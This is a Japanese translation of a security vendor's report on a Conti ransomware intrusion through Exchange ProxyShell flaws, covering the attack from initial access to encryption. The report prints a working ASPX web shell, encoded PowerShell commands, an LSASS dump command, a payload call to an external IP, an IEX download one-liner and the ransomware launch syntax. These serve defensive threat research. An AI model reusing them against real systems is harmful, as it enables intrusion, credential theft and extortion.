** 本記事は、Conti アフィリエイトによるランサムウェア攻撃で ProxyShell Exchange の使用が確認される の翻訳です。最新の情報は英語記事をご覧ください。**
Conti アフィリエイトによる最近の攻撃を調査したところ、攻撃者はまず ProxyShell を利用して標的組織のネットワークにアクセスしていたことがわかりました。ProxyShell とは、Microsoft Exchange の悪用可能な複数の脆弱性であり、ここ数か月の間に重要な更新が複数回行われているものを指します。また、攻撃は最近リークされた Conti のオペレーターに配布されるマニュアルに忠実に従っていたことがわかりました。
ProxyShell は、「ProxyLogon」という攻撃手法を進化させたものです。7 月に登場した新種のランサムウェア「LockFile」など、最近のランサムウェアの攻撃手法の主流となっています。
攻撃者が ProxyShell を利用するようになったことで、標的のネットワークで最終的にランサムウェアペイロードを実行するまでの待機時間は元の数週間から数日、あるいは数時間にまで短縮されました。ソフォスが確認した ProxyShell 攻撃のある例では、Conti アフィリエイトは標的のネットワークにアクセスしてから 1 分以内にはリモート Web シェルのセットアップを完了していました。その 3 分後にはバックアップ用に 2 つ目の Web シェルをインストールしており、その後 30 分以内にはネットワーク内のコンピューター、ドメインコントローラー、ドメイン管理者の包括的なリストが作成されました。さらに、そこからわずか 4 時間後には Conti アフィリエイトにドメイン管理者のアカウント認証情報が取得され、コマンドの実行が開始されました。
初期アクセスから 48 時間以内に、約 1 テラバイトのデータが流出しました。攻撃は各コンピューターのネットワーク共有を標的とし、5 日後にはネットワーク上のすべてのコンピューターに Conti ランサムウェアが展開されていました。Conti アフィリエイトは Web シェル 2 つ、Cobalt Strike、市販のリモートアクセスツール 4 つ (AnyDesk、Atera、Splashtop、Remote Utilities) など、7 つ以上のバックドアをネットワーク上にインストールしていました。初めにインストールされた Web シェルは主に初期アクセスに使用され、Cobalt Strike および AnyDesk はその後の攻撃に重要な役割を果たします。
初期アクセス
Microsoft 社は 4 月および 5 月に ProxyShell に対する修正プログラムを複数回配信しましたが、これらの修正プログラムを適用するには最新の累積更新プログラム (CU) に沿ってアップデートをする必要があります。つまり、Exchange を再インストールしなければならず、その結果、電子メールのダウンタイムが発生します。Exchange Server を使用している企業の中には、まだこのアップデートを行っていないところもあり、インターネット上の脆弱な Exchange Server を標的とする攻撃を受けやすくなっています。今回分析した例では、標的の Windows 2012 R2 Standard サーバーは、Exchange Server 2016 Cumulative update 3 (CU3) を実行していました。ProxyShell を利用した攻撃を回避するためには、インストールされている Exchange 2016 のバージョンを少なくとも 2020 年 12 月にリリースされた CU19 以降のものにアップデートする必要があります。
攻撃者は ProxyShell を利用して「Administrator」用の新しいメールボックスを作成し、Microsoft Exchange の「コマンドレット」を使用してそのメールボックスに新しく権限を付与しました。付与された権限の中には、リモートでの PowerShell コマンドの実行を許可するものも含まれます。
最近の Conti ProxyShell 攻撃では、攻撃者は攻撃の途中に Dridex マルウェアを配布していた団体である Evil Corp (テレビ番組『ミスター・ロボット』に登場する架空の社名) を名乗るメールボックスを作成していました。
脆弱性を悪用してアクセス権を得た後、攻撃者はサーバー内の以下のローカルホストアドレスに Web シェルを作成しました。
\\127.0.0.1\C$\inetpub\wwwroot\aspnet_client\aspnetclient_log.aspx
3 分後、攻撃者は作成したシェルを通じて最初のコマンド (base64 でエンコードされた PowerShell スクリプト) を発行しました。発行されたのは whoami コマンドで、攻撃者がどのアカウントを利用してアクセスしているかを確認するためのものです。(エンコードされたスクリプトは、今回の攻撃に関連する他のエンコードされたスクリプトとともに、本記事末尾の「セキュリティ侵害の痕跡 (IoC)」の部分に掲載されています。)
次にエンコードされ、実行されたコマンド は Windows の Service Control Manager のコマンドラインインターフェースです。
sc -path c:\inetpub\wwwroot\aspnet_client\test.txt -value (iex('ls c:\inetpub\wwwroot\aspnet_client\')|Out-String)
このコマンドは Service Control Manager を悪用して Web シェルがドロップされたディレクトリの検索を実行し、結果を test.txt というファイルに書き出して、Web シェルからリモートで閲覧できるようにするものです。
次に、また別の、より大きなサイズのエンコードされた PowerShell コマンドが実行されました。このコマンドは二重に難読化されています。コマンド自体をデコードするだけでも Service Control Manager の悪用は明らかですが、さらに暗号化された変数 $a も確認できます。このコマンドは $a の中身をファイルに出力し、出力確認のためディレクトリの中身をチェックします。この変数は、さらに別の Web シェルとしてデコードされます。
<%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System" %> <%@ Import Namespace="System.Runtime.Serialization.Formatters.Binary" %> <script runat="server"> protected string ExchangeRuntime() { return s.Text.ToString(); } protected void Database(MemoryStream m,BinaryFormatter b) { m.Position = 0; b.Deserialize(m); } protected void C_Click(object sender, EventArgs e) { Byte[] S = System.Convert.FromBase64String(ExchangeRuntime()); MemoryStream m = new MemoryStream(S); BinaryFormatter b = new BinaryFormatter(); Database(m,b); } </script> <html> <form id="form" runat="server" > <asp:TextBox runat="server" ID="s" Value="" input style="border:0px"/> <asp:Button ID="C" runat="server" Text="" OnClick="C_Click" /> </form> </body> </html>
次の PowerShell コマンドは、出力されたテキストを使って、新しい Web シェルとなる .ASPX ファイルを作成します。
Copy-Item -path c:\programdata\a.txt -Destination "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\current\themes\ResourceHandler.aspx" -Force;sc -path c:\inetpub\wwwroot\aspnet_client\test.txt -value (iex('ls "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\current\themes\"')|Out-String)
作成された ResourceHandler.aspx はテキストボックス経由で base64 でエンコードされたコマンドを受け取り、デコード、デシリアライズを経てバイナリに変換するように構成されています。この手順により、エンコードされたバイナリを標的のサーバーにドロップすることができます。
上記の通り、攻撃者は侵入後最初の 5 分間で脆弱な Exchange サーバーへの初期アクセスのための土台を形成します。
標的ネットワークの調査
次に、Conti アフィリエイトは侵入箇所の確認を開始しました。その際に実行された PowerShell コマンドは、上記と同様の方法で Service Control Manager を悪用しています。
デコードされたコマンドは以下の通りです。
powershell sc -path "c:\programdata\a.txt" -value $a -Force;sc -path c:\inetpub\wwwroot\aspnet_client\test.txt -value (iex('nltest /dclist:')|Out-String)
このコマンドはダンプされた 2 つ目の Web シェルのコードを空のファイルで上書きし、ドメインコントローラーのリストを、コマンドの実行結果を記載しているテキストファイルに出力します。この操作は次のエンコードされたコマンドでも繰り返され、ドメイン上のコンピューターのリストが作成されます。
sc -path "c:\programdata\a.txt" -value $a -Force;sc -path c:\inetpub\wwwroot\aspnet_client\test.txt -value (iex('net group "domain computers" /domain')|Out-String)
出力されたテキストファイルからドメインコントローラーのリストを取得した後、エンコードされた別のスクリプトが実行され、「teset」という文字列のみを含むテキストによって text.txt ファイルが上書きされます。さらに、2 つ目の Web シェルに移行してネットワークの調査が続けられ、バイパスフラグ -noninteractive および -executionpolicy bypass を使用して一連の PowerShell コマンドが実行されます。この操作により、ネットワーク構成、ドメイン管理者、システムにログオンしているユーザー (quser コマンドを使用)、Local Security Authority Subsystem Service (LSASS) が実行されている場合はそのプロセス ID (ps lsass コマンドを使用) などの情報が収集されます。
攻撃者はその後実行ファイルである SVN.exe (sha1ハッシュ: 59e2d227bf8499d1d28116f922925980774ebf96) をドロップし、PowerShell コマンドで実行することで、フィンランドにあるサーバーへの接続を確立しました。
powershell.exe -noninteractive -executionpolicy bypass Start-Process c:\windows\SVN.exe -ArgumentList '-connect 135[.]181[.]10[.]218:443 -pass Password1234'
ネットワーク内の水平移動
初期アクセスから約 4 時間後、攻撃者は認証情報を盗み出しました。この際、COM+ Services DLL の MiniDump インターフェースが使用され、ネットワークの調査中に発見した LSASS プロセスがダンプされました。
powershell.exe -noninteractive -executionpolicy bypass rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 596 C:\programdata\a.zip full
認証情報がダンプされてからわずか 13 分後 (標的企業の所在地の時間で午後 8 時)、Conti の攻撃者は、窃取した既存のドメイン管理者アカウントを使ってネットワーク内の水平移動 (ラテラルムーブメント) を開始しました。さらに、このアカウントを使って、Exchange サーバーから別のサーバーへの RDP 接続が行われました。サーバーのログには、さらに 1 分後に、ドメイン管理者がリモートデスクトップ SaaS である「AnyDesk」をダウンロードし、インストールしたことが記録されています。その直後、攻撃者は Exchange サーバー上に残されたファイルのクリーンアップを開始した後、認証情報のダンプを削除し、PowerShell を介して SVN.exe プロセスを停止させて削除しました。
次に、AnyDesk が稼働しているサーバーに Cobalt Strike DLL がドロップされ、続いて ADfind というツールを使用して Active Directory データを照会する様子が確認されました。このツールは、最近リークされた Conti アフィリエイト用のマニュアルに記載されていたものです。
上記の 5 時間後、再度の水平移動が確認されました。Cobalt Strike の .dll が 3 台目のサーバーに展開され、さらなる水平移動を行う際の主な拠点になります。このサーバーにはさらに 3 つのリモートアクセスツール (Splashtop、Remote Utilities および Atera Network の Atera Agent) が展開されており、翌日以降、ドメインコントローラーやバックアップサーバーなどへの RDP ベースの水平移動に使用されました。
データの窃取と暗号化
初期アクセスから 3 日目には、ファイルコピーユーティリティー「Rclone」が複数のサーバーに展開されているのが確認されました。
その後、攻撃者は複数のサーバーのドライブに対して Rclone を実行する PowerShell ファイル (rclonemanager.ps1) を実行しました。Rclone および rclonemanager.ps1 もまた、最近流出した Conti アフィリエイト用のマニュアルに記載されています。
上記のスクリプトは、ファイル共有サービス「Mega」にコピーするリモートドライブのアドレスと、コピーに使用する Mega アカウントのユーザー名およびパスワードから構成されています。Rclone がインストールされたサーバーから Mega に向かうトラフィックが 2 日間にわたって確認され、1 TB 弱のデータが流出しました。
初期アクセスから 5 日目の金曜日、現地時間午後 10 時頃、Conti の攻撃者はランサムウェアの展開を開始し、4 台のサーバーから 4 つのバッチスクリプト (それぞれ 1help.bat、2help.bat、3help.bat、4help.bat と名付けられていました) を実行しました。これらのバッチファイルは、ランサムウェアの実行ファイル (x64.exe) を繰り返し起動し、起動のたびにネットワーク上の各 Windows システムでデフォルトのドライブレター (C$、D$ など) が割り当てられたドライブに対して攻撃を行います。
start C:\x64.exe -m -net -size 10 -nomutex -p \\[computer Active Directory name]\C$
類似した別の Conti 攻撃では、[数字]start.bat という名前の同種の .bat ファイルや、Locker.exe という名前のランサムウェア実行ファイルが確認されています。
ネットワーク上のすべての Windows システムが標的となっており、攻撃者はネットワーク上のすべてのシステムをスキャンして接続されているドライブを特定していました。また、バッチファイルの実行方法には細工が施されており、ランサムウェア本体の実行ファイル (x64.exe) はサーバー上に置かれたままでした。この細工はランサムウェア保護を回避するためのものです。ランサムウェアの実行ファイルが置かれていた 4 台のサーバーにはマルウェア対策が施されていなかったため、ランサムウェアのバイナリが検知されることなく実行され、ネットワーク上の標的となったすべてのシステムが暗号化されました。
攻撃の影響
ProxyShell を始めとする Microsoft Exchange の既知の脆弱性を狙った攻撃は非常に大きな脅威です。オンプレミスの Exchange Server を使用している企業は、可能な限り早急にサーバーを更新し、パッチを適用する必要があります。また、今回のような攻撃は、エンドポイントだけでなく、サーバーでもマルウェア対策を行う必要性を示しています。
ソフォスの CryptoGuard テクノロジーと認証情報保護テクノロジー、ならびに行動および機械学習ベースの保護機能により、この種の攻撃の発生は防ぐことができます。Sophos Application Control は、AnyDesk などのリモートアクセスツールの使用を防ぐためにも使用できます。
SophosLabs は、本記事への貢献に対して、SophosLabs の Anand Ajjan、Andrew Ludgate、Gabor Szappanos、および Sophos MTR Rapid Response チームの Sergio Bestulic、Syed Zaidi に謝意を表します。
セキュリティ侵害の痕跡 (IoC)
脅威研究者やインシデント対応者のため、今回の攻撃で利用された、エンコードされた PowerShell コマンドを以下に示します。
PowerShell コマンド #1
powershell -enc dwBoAG8AYQBtAGkA
PowerShell コマンド #2
powershell -enc cwBjACAALQBwAGEAdABoACAAYwA6AFwAaQBuAGUAdABwAHUAYgBcAHcAdwB3AHIAbwBvAHQAXABhAHMAcABuAGUAdABfAGMAbABpAGUAbgB0AFwAdABlAHMAdAAuAHQAeAB0ACAALQB2AGEAbAB1AGUAIAAoAGkAZQB4ACgAJwBsAHMAIABjADoAXABpAG4AZQB0AHAAdQBiAFwAdwB3AHcAcgBvAG8AdABcAGEAcwBwAG4AZQB0AF8AYwBsAGkAZQBuAHQAXAAnACkAfABPAHUAdAAtAFMAdAByAGkAbgBnACkA
デコード結果: sc -path c:\inetpub\wwwroot\aspnet_client\test.txt -value (iex(‘ls c:\inetpub\wwwroot\aspnet_client\’)|Out-String)
PowerShell コマンド #3
powershell -enc JABhAD0AIgBQAEMAVgBBAEkARgBCAGgAWgAyAFUAZwBUAEcARgB1AFoAMwBWAGgAWgAyAFUAOQBJAGsATQBqAEkAaQBCAEUAWgBXAEoAMQBaAHoAMABpAGQASABKADEAWgBTAEkAZwBkAG0ARgBzAGEAVwBSAGgAZABHAFYAUwBaAFgARgAxAFoAWABOADAAUABTAEoAbQBZAFcAeAB6AFoAUwBJAGcASgBUADQATgBDAGoAdwBsAFEAQwBCAEoAYgBYAEIAdgBjAG4AUQBnAFQAbQBGAHQAWgBYAE4AdwBZAFcATgBsAFAAUwBKAFQAZQBYAE4AMABaAFcAMAB1AFIARwBsAGgAWgAyADUAdgBjADMAUgBwAFkAMwBNAGkASQBDAFUAKwBEAFEAbwA4AEoAVQBBAGcAUwBXADEAdwBiADMASgAwAEkARQA1AGgAYgBXAFYAegBjAEcARgBqAFoAVAAwAGkAVQAzAGwAegBkAEcAVgB0AEwAawBsAFAASQBpAEEAbABQAGcAMABLAFAAQwBWAEEASQBFAGwAdABjAEcAOQB5AGQAQwBCAE8AWQBXADEAbABjADMAQgBoAFkAMgBVADkASQBsAE4ANQBjADMAUgBsAGIAUwBJAGcASgBUADQATgBDAGoAdwBsAFEAQwBCAEoAYgBYAEIAdgBjAG4AUQBnAFQAbQBGAHQAWgBYAE4AdwBZAFcATgBsAFAAUwBKAFQAZQBYAE4AMABaAFcAMAB1AFUAbgBWAHUAZABHAGwAdABaAFMANQBUAFoAWABKAHAAWQBXAHgAcABlAG0ARgAwAGEAVwA5AHUATABrAFoAdgBjAG0AMQBoAGQASABSAGwAYwBuAE0AdQBRAG0AbAB1AFkAWABKADUASQBpAEEAbABQAGcAMABLAFAASABOAGoAYwBtAGwAdwBkAEMAQgB5AGQAVwA1AGgAZABEADAAaQBjADIAVgB5AGQAbQBWAHkASQBqADQATgBDAG4AQgB5AGIAMwBSAGwAWQAzAFIAbABaAEMAQgB6AGQASABKAHAAYgBtAGMAZwBSAFgAaABqAGEARwBGAHUAWgAyAFYAUwBkAFcANQAwAGEAVwAxAGwASwBDAGsATgBDAG4AcwBOAEMAZwBsAHkAWgBYAFIAMQBjAG0ANABnAGMAeQA1AFUAWgBYAGgAMABMAGwAUgB2AFUAMwBSAHkAYQBXADUAbgBLAEMAawA3AEQAUQBwADkARABRAHAAdwBjAG0AOQAwAFoAVwBOADAAWgBXAFEAZwBkAG0AOQBwAFoAQwBCAEUAWQBYAFIAaABZAG0ARgB6AFoAUwBoAE4AWgBXADEAdgBjAG4AbABUAGQASABKAGwAWQBXADAAZwBiAFMAeABDAGEAVwA1AGgAYwBuAGwARwBiADMASgB0AFkAWABSADAAWgBYAEkAZwBZAGkAawBOAEMAbgBzAE4AQwBnAGsASgBiAFMANQBRAGIAMwBOAHAAZABHAGwAdgBiAGkAQQA5AEkARABBADcARABRAG8ASgBDAFcASQB1AFIARwBWAHoAWgBYAEoAcABZAFcAeABwAGUAbQBVAG8AYgBTAGsANwBEAFEAcAA5AEQAUQBwAHcAYwBtADkAMABaAFcATgAwAFoAVwBRAGcAZABtADkAcABaAEMAQgBEAFgAMABOAHMAYQBXAE4AcgBLAEcAOQBpAGEAbQBWAGoAZABDAEIAegBaAFcANQBrAFoAWABJAHMASQBFAFYAMgBaAFcANQAwAFEAWABKAG4AYwB5AEIAbABLAFEAMABLAGUAdwAwAEsAQwBRAGwAQwBlAFgAUgBsAFcAMQAwAGcAVQB5AEEAOQBJAEYATgA1AGMAMwBSAGwAYgBTADUARABiADIANQAyAFoAWABKADAATABrAFoAeQBiADIAMQBDAFkAWABOAGwATgBqAFIAVABkAEgASgBwAGIAbQBjAG8AUgBYAGgAagBhAEcARgB1AFoAMgBWAFMAZABXADUAMABhAFcAMQBsAEsAQwBrAHAATwB3ADAASwBDAFEAbABOAFoAVwAxAHYAYwBuAGwAVABkAEgASgBsAFkAVwAwAGcAYgBTAEEAOQBJAEcANQBsAGQAeQBCAE4AWgBXADEAdgBjAG4AbABUAGQASABKAGwAWQBXADAAbwBVAHkAawA3AEQAUQBvAEoAQwBVAEoAcABiAG0ARgB5AGUAVQBaAHYAYwBtADEAaABkAEgAUgBsAGMAaQBCAGkASQBEADAAZwBiAG0AVgAzAEkARQBKAHAAYgBtAEYAeQBlAFUAWgB2AGMAbQAxAGgAZABIAFIAbABjAGkAZwBwAE8AdwAwAEsAQwBRAGwARQBZAFgAUgBoAFkAbQBGAHoAWgBTAGgAdABMAEcASQBwAE8AdwAwAEsARABRAHAAOQBEAFEAbwA4AEwAMwBOAGoAYwBtAGwAdwBkAEQANABOAEMAagB4AG8AZABHADEAcwBQAGcAMABLAFAARwBaAHYAYwBtADAAZwBhAFcAUQA5AEkAbQBaAHYAYwBtADAAaQBJAEgASgAxAGIAbQBGADAAUABTAEoAegBaAFgASgAyAFoAWABJAGkASQBEADQATgBDAGoAeABoAGMAMwBBADYAVgBHAFYANABkAEUASgB2AGUAQwBCAHkAZABXADUAaABkAEQAMABpAGMAMgBWAHkAZABtAFYAeQBJAGkAQgBKAFIARAAwAGkAYwB5AEkAZwBWAG0ARgBzAGQAVwBVADkASQBpAEkAZwBhAFcANQB3AGQAWABRAGcAYwAzAFIANQBiAEcAVQA5AEkAbQBKAHYAYwBtAFIAbABjAGoAbwB3AGMASABnAGkATAB6ADQATgBDAGoAeABoAGMAMwBBADYAUQBuAFYAMABkAEcAOQB1AEkARQBsAEUAUABTAEoARABJAGkAQgB5AGQAVwA1AGgAZABEADAAaQBjADIAVgB5AGQAbQBWAHkASQBpAEIAVQBaAFgAaAAwAFAAUwBJAGkASQBFADkAdQBRADIAeABwAFkAMgBzADkASQBrAE4AZgBRADIAeABwAFkAMgBzAGkASQBDADgAKwBEAFEAbwA4AEwAMgBaAHYAYwBtADAAKwBEAFEAbwA4AEwAMgBKAHYAWgBIAGsAKwBEAFEAbwA4AEwAMgBoADAAYgBXAHcAKwAiADsAJABhAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABhACkAKQA7AHMAYwAgAC0AcABhAHQAaAAgACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAYQAuAHQAeAB0ACIAIAAtAHYAYQBsAHUAZQAgACQAYQAgAC0ARgBvAHIAYwBlADsAcwBjACAALQBwAGEAdABoACAAYwA6AFwAaQBuAGUAdABwAHUAYgBcAHcAdwB3AHIAbwBvAHQAXABhAHMAcABuAGUAdABfAGMAbABpAGUAbgB0AFwAdABlAHMAdAAuAHQAeAB0ACAALQB2AGEAbAB1AGUAIAAoAGkAZQB4ACgAJwBsAHMAIABjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAAnACkAfABPAHUAdAAtAFMAdAByAGkAbgBnACkA
デコード結果:
$a=”PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjIiBEZWJ1Zz0idHJ1ZSIgdmFsaWRhdGVSZXF1ZXN0PSJmYWxzZSIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uRGlhZ25vc3RpY3MiICU+DQo8JUAgSW1wb3J0IE5hbWVzcGFjZT0iU3lzdGVtLklPIiAlPg0KPCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbSIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uUnVudGltZS5TZXJpYWxpemF0aW9uLkZvcm1hdHRlcnMuQmluYXJ5IiAlPg0KPHNjcmlwdCBydW5hdD0ic2VydmVyIj4NCnByb3RlY3RlZCBzdHJpbmcgRXhjaGFuZ2VSdW50aW1lKCkNCnsNCglyZXR1cm4gcy5UZXh0LlRvU3RyaW5nKCk7DQp9DQpwcm90ZWN0ZWQgdm9pZCBEYXRhYmFzZShNZW1vcnlTdHJlYW0gbSxCaW5hcnlGb3JtYXR0ZXIgYikNCnsNCgkJbS5Qb3NpdGlvbiA9IDA7DQoJCWIuRGVzZXJpYWxpemUobSk7DQp9DQpwcm90ZWN0ZWQgdm9pZCBDX0NsaWNrKG9iamVjdCBzZW5kZXIsIEV2ZW50QXJncyBlKQ0Kew0KCQlCeXRlW10gUyA9IFN5c3RlbS5Db252ZXJ0LkZyb21CYXNlNjRTdHJpbmcoRXhjaGFuZ2VSdW50aW1lKCkpOw0KCQlNZW1vcnlTdHJlYW0gbSA9IG5ldyBNZW1vcnlTdHJlYW0oUyk7DQoJCUJpbmFyeUZvcm1hdHRlciBiID0gbmV3IEJpbmFyeUZvcm1hdHRlcigpOw0KCQlEYXRhYmFzZShtLGIpOw0KDQp9DQo8L3NjcmlwdD4NCjxodG1sPg0KPGZvcm0gaWQ9ImZvcm0iIHJ1bmF0PSJzZXJ2ZXIiID4NCjxhc3A6VGV4dEJveCBydW5hdD0ic2VydmVyIiBJRD0icyIgVmFsdWU9IiIgaW5wdXQgc3R5bGU9ImJvcmRlcjowcHgiLz4NCjxhc3A6QnV0dG9uIElEPSJDIiBydW5hdD0ic2VydmVyIiBUZXh0PSIiIE9uQ2xpY2s9IkNfQ2xpY2siIC8+DQo8L2Zvcm0+DQo8L2JvZHk+DQo8L2h0bWw+”;$a=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($a));sc -path “c:\programdata\a.txt” -value $a -Force;sc -path c:\inetpub\wwwroot\aspnet_client\test.txt -value (iex(‘ls c:\programdata\’)|Out-String)
PowerShell コマンド #4
powershell -enc QwBvAHAAeQAtAEkAdABlAG0AIAAtAHAAYQB0AGgAIABjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXABhAC4AdAB4AHQAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACIAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwARQB4AGMAaABhAG4AZwBlACAAUwBlAHIAdgBlAHIAXABWADEANQBcAEYAcgBvAG4AdABFAG4AZABcAEgAdAB0AHAAUAByAG8AeAB5AFwAbwB3AGEAXABhAHUAdABoAFwAYwB1AHIAcgBlAG4AdABcAHQAaABlAG0AZQBzAFwAUgBlAHMAbwB1AHIAYwBlAEgAYQBuAGQAbABlAHIALgBhAHMAcAB4ACIAIAAtAEYAbwByAGMAZQA7AHMAYwAgAC0AcABhAHQAaAAgAGMAOgBcAGkAbgBlAHQAcAB1AGIAXAB3AHcAdwByAG8AbwB0AFwAYQBzAHAAbgBlAHQAXwBjAGwAaQBlAG4AdABcAHQAZQBzAHQALgB0AHgAdAAgAC0AdgBhAGwAdQBlACAAKABpAGUAeAAoACcAbABzACAAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABFAHgAYwBoAGEAbgBnAGUAIABTAGUAcgB2AGUAcgBcAFYAMQA1AFwARgByAG8AbgB0AEUAbgBkAFwASAB0AHQAcABQAHIAbwB4AHkAXABvAHcAYQBcAGEAdQB0AGgAXABjAHUAcgByAGUAbgB0AFwAdABoAGUAbQBlAHMAXAAiACcAKQB8AE8AdQB0AC0AUwB0AHIAaQBuAGcAKQA=
PowerShell コマンド #5
powershell -enc cwBjACAALQBwAGEAdABoACAAIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXABhAC4AdAB4AHQAIgAgAC0AdgBhAGwAdQBlACAAJABhACAALQBGAG8AcgBjAGUAOwBzAGMAIAAtAHAAYQB0AGgAIABjADoAXABpAG4AZQB0AHAAdQBiAFwAdwB3AHcAcgBvAG8AdABcAGEAcwBwAG4AZQB0AF8AYwBsAGkAZQBuAHQAXAB0AGUAcwB0AC4AdAB4AHQAIAAtAHYAYQBsAHUAZQAgACgAaQBlAHgAKAAnAG4AbAB0AGUAcwB0ACAALwBkAGMAbABpAHMAdAA6ACcAKQB8AE8AdQB0AC0AUwB0AHIAaQBuAGcAKQA=
デコード結果:
sc -path “c:\programdata\a.txt” -value $a -Force;sc -path c:\inetpub\wwwroot\aspnet_client\test.txt -value (iex(‘nltest /dclist:’)|Out-String)
PowerShell コマンド #6
powershell -enc cwBjACAALQBwAGEAdABoACAAIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXABhAC4AdAB4AHQAIgAgAC0AdgBhAGwAdQBlACAAJABhACAALQBGAG8AcgBjAGUAOwBzAGMAIAAtAHAAYQB0AGgAIABjADoAXABpAG4AZQB0AHAAdQBiAFwAdwB3AHcAcgBvAG8AdABcAGEAcwBwAG4AZQB0AF8AYwBsAGkAZQBuAHQAXAB0AGUAcwB0AC4AdAB4AHQAIAAtAHYAYQBsAHUAZQAgACgAaQBlAHgAKAAnAG4AZQB0ACAAZwByAG8AdQBwACAAIgBkAG8AbQBhAGkAbgAgAGMAbwBtAHAAdQB0AGUAcgBzACIAIAAvAGQAbwBtAGEAaQBuACcAKQB8AE8AdQB0AC0AUwB0AHIAaQBuAGcAKQA=
PowerShell コマンド #7
powershell -enc cwBjACAALQBwAGEAdABoACAAYwA6AFwAaQBuAGUAdABwAHUAYgBcAHcAdwB3AHIAbwBvAHQAXABhAHMAcABuAGUAdABfAGMAbABpAGUAbgB0AFwAdABlAHMAdAAuAHQAeAB0ACAALQB2AGEAbAB1AGUAIAB0AGUAcwBlAHQA
デコード結果:
sc -path c:\inetpub\wwwroot\aspnet_client\test.txt -value teset
PowerShell コマンド #8
powershell.exe -noninteractive -executionpolicy bypass ipconfig /all
PowerShell コマンド #9
powershell.exe -noninteractive -executionpolicy bypass net group ‘domain admins’ /domain
PowerShell コマンド #10
powershell.exe -noninteractive -executionpolicy bypass quser
PowerShell コマンド #11
powershell.exe -noninteractive -executionpolicy bypass ps lsass
PowerShell コマンド #12
powershell.exe -noninteractive -executionpolicy bypass Start-Process c:\windows\SVN.exe -ArgumentList ‘-connect 135.181.10.218:443 -pass Password1234’
PowerShell コマンド #13
powershell.exe -noninteractive -executionpolicy bypass rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 596 C:\programdata\a.zip full
PowerShell コマンド #14
powershell -nop -exec bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAyADAANAAxADIALwAnACkAOwAgAC4AXAByAGMAbABvAG4AZQBtAGEAbgBhAGcAZQByAC4AcABzADEA
デコード結果:
IEX (New-Object Net.Webclient).DownloadString(‘http://127.0.0.1:20412/’); .\rclonemanager.ps1